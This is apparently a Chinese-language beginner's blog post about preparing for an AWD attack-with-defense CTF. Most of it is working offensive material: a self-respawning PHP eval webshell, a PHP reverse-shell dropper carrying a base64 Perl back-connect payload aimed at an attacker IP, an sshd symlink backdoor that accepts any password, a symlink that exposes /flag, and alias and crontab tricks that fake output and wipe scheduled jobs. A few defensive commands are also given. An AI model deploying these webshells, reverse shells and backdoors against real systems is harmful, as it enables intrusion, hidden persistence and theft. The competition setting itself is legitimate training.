記錄一下菜鳥第一次打 AWD 的經曆,可能會對跟我一樣的小白們有些幫助。
比賽之前,先記錄一下學的東西。感謝(@Sn0w)學長搭建的 AWD 靶場給我們。
基礎知識網上有好多,就不寫了。
不死馬的利用與删除
首先學習的就是不死馬,因為它比較經典吧。
密碼為 md5 加密過的為 m0re666,然後傳入參數。
假設已經上傳不死馬。
首先,利用方式為,先通路一下,一般是 upload 檔案夾有上傳權限,是以一般放這裡,通路
http://xxx.xxx.xxx.xxx:/upload/header.php
通路執行後,不死馬開始起作用了,直接通路:
http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system('cat /flag');
得到 flag。因為是不死馬,是以可以一直使用這個點來得分,不過現在不死馬已人盡皆知,恐怕隻能拿一輪分數就會被殺了。
變種不死馬
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';
while (1){
file_put_contents($file,$code);
//system('touch -m -d "2018-12-01 09:10:12" .login.php');
file_put_contents($file1,$code);
usleep(5000);
}
?>
#passwd=m0re666&m0re=system('cat /flag');
複制
這個變種的,它的不同點在檔案名,是
-
開頭的,這裡介紹一下這個比較騷的知識點。
-
開頭的檔案名,因為在 Linux 指令行中,各種指令會有許多的參數,是以,如果對這樣方式命名的檔案,執行任何指令,都會将這個檔案當做參數來執行指令,沒有該參數就會報錯。導緻什麼指令都無法在這個不死馬上執行,但是,在浏覽器中連接配接通路是沒問題的,依舊可以解析。可以在自己伺服器上開啟 docker 進行嘗試。
殺掉不死馬
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
通過條件競争清除
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
複制
具體的其他殺不死馬的方式還有很多,不列舉了。
反彈 shell
如下是一個可以反彈 shell 的 php 腳本:
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif (function_exists('shell_exec')) {
$res = @shell_exec($cfe);
}
elseif (function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (@is_resource($f = @popen($cfe, "r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname, $text) {
if($fp = @fopen($fname, 'w')) {
@fputs($fp, @base64_decode($text));
@fclose($fp);
}
}
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
複制
使用方法也是很簡單,将 shell 檔案上傳至可通路的地方
開啟 nc 監聽
nc -l -vv [port] #這裡是 1024,可以自己設定
複制
然後通路該檔案,就成功反彈 shell
效果如下:
然後記個小 tip:美化終端,不過還是别花時間做這個了,雖然就一條指令。
python -c "import pty; pty.spawn('/bin/bash')"
複制
小 Trick: 使用
find / -name *flag*
或
grep -rn "flag" *
類似的語句可以快速發現 flag 所在的地方,友善後續拿分。
軟連結
可以建立個軟連結,連結到根目錄下 flag
ln -s /flag /var/www/html/upload/footer.js
這個有兩種方式,一種是直接使用,在他們還沒來得及挂流量監控和檔案監控的時候,趕快使用這條指令,直接在可以寫入的 upload 檔案夾下建立軟連結。寫成這樣,不會有太多人去懷疑這個點。
然後直接
cat upload
檔案夾下的
footer.js
就可以得到 flag
也可以直接通路
upload/footer.js
得到 flag 如下:
第二種利用方式,批量!!!前提是對方開啟監控,怕被删怎麼辦,就直接批量寫,到處寫垃圾檔案,讓他們删不過來。而我們知道這個 flag 連結的檔案是哪個,就可以持續得分。但是,沒有嘗試,因為自己伺服器有點小。
ssh 免密登入(未嘗試)
在終端執行此指令,然後可以實作 ssh 免密登陸
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
連接配接:
ssh [email protected] -p 5555
密碼随意。
其他
alias 指令,指令文檔。
怎麼說,就是看利用方式
root 權限怎麼會沒權限?别人進來也無法 cat 到 flag,當然還可以使用其他辦法檢視。
還有就是改定時任務,别人看不了我們的定時任務。可以嘗試改别人的。前提是有權限之後。
crontab -r
alias crontab="echo no crontab for `whoami` ||"
#傳回假的flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
複制
主機發現
比賽可能會告訴你其他隊伍的 IP,也可能不會告訴你,一般在同一個 C 段或者 B 段,是以需要首先利用
nmap
、
httpscan
等掃描工具發現其他隊伍的 IP。
nmap:
nmap –sn 192.168.71.0/24
複制
httpscan
./httpscan.py 10.20.30.0/24 –t 10
複制
修改 curl 指令
alias curl='echo fuckoff' #權限要求較低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl #降級,取消執行權限(權限要求較高)
複制
關閉不必要端口
netstat -napt 檢視目前網絡連接配接狀态
lsof -i 用以顯示符合條件的程序情況
lsof -i:22 檢視22端口現在運作什麼程式
kill -9 <PID> 殺掉程序
nmap -sV ip位址(-sV參數可以探測目标主機的伺服器版本)
複制
批量送出 flag 的腳本,可以進行百度,找一些腳本自己根據比賽場景進行修改。
賽後
吐槽:真的就是賽前瘋狂搜集各種腳本姿勢。比賽時沒有用上多少。emmmmm,怎麼說就是感覺沒什麼可以記錄的了。這個比賽已經被噴了,人學校酒店挺好的,住着很舒服。關于比賽的就不再記錄了。就記一下學習的内容。
賽題複現
dump 下來 html 源碼,使用 D 盾掃描
發現後門就立刻上傳自己的不死馬。然後激活并進行維權。相信百度上能找到很多簡單維權的辦法。還有攪屎的。比如 fock 炸彈等……
接下來就是 Seay 源碼審計系統,進行代碼審計,筆者比較菜,是以就隻說怎麼做。
然後根據漏洞進行驗證就可以了。
總結
AWD 的話,我是負責攻擊,防禦交給隊友,其實面對新手的小型比賽,重點就是D盾掃描,快速找到後門,然後批量上馬,批量上馬是有時間改腳本的,這次比賽,過程很懵,我以為不同隊伍是 C 段不同而已,結果是 ==emmmm,估計是開的 docker,服了。
如果,批量沒實作,就嘗試一個個的上傳吧。不過最後可能是有幾個能拿分的。最重要的一點就是,别被别人騎到自己的馬了。emmm,目前我收集到的東西就這麼多,比較适合盲目百度而不知道從何下手的新手。請師傅們輕點噴。